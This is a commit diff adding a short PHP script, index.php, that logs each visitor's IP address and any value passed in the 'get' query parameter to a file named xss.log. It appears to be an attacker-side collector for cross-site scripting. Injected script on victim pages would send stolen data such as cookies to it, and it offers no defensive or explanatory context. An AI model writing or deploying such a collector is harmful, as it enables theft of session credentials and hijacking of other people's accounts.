simple version

index.php

@@ -0,0 +1,28 @@
+<?php
+
+$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
+$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];
+
+if($_GET["get"])
+{
+
+	$txt = $_GET["get"];
+	debug($user_IP); 
+	debug($txt); 
+}
+else
+{
+	debug($user_IP); 
+	
+}
+
+function debug( $s ) 
+{
+	$logfile = dirname( __FILE__ ) . '/xss.log';
+	!file_exists( $logfile ) && @touch( $logfile );
+	$str = file_get_contents( $logfile );
+	$str = date( 'Y-m-d H:i:s' ) . "\r\n" . var_export( $s, true ) . "\r\n\r\n" . $str;
+	@file_put_contents( $logfile, $str );
+	unset( $str );
+}
+?>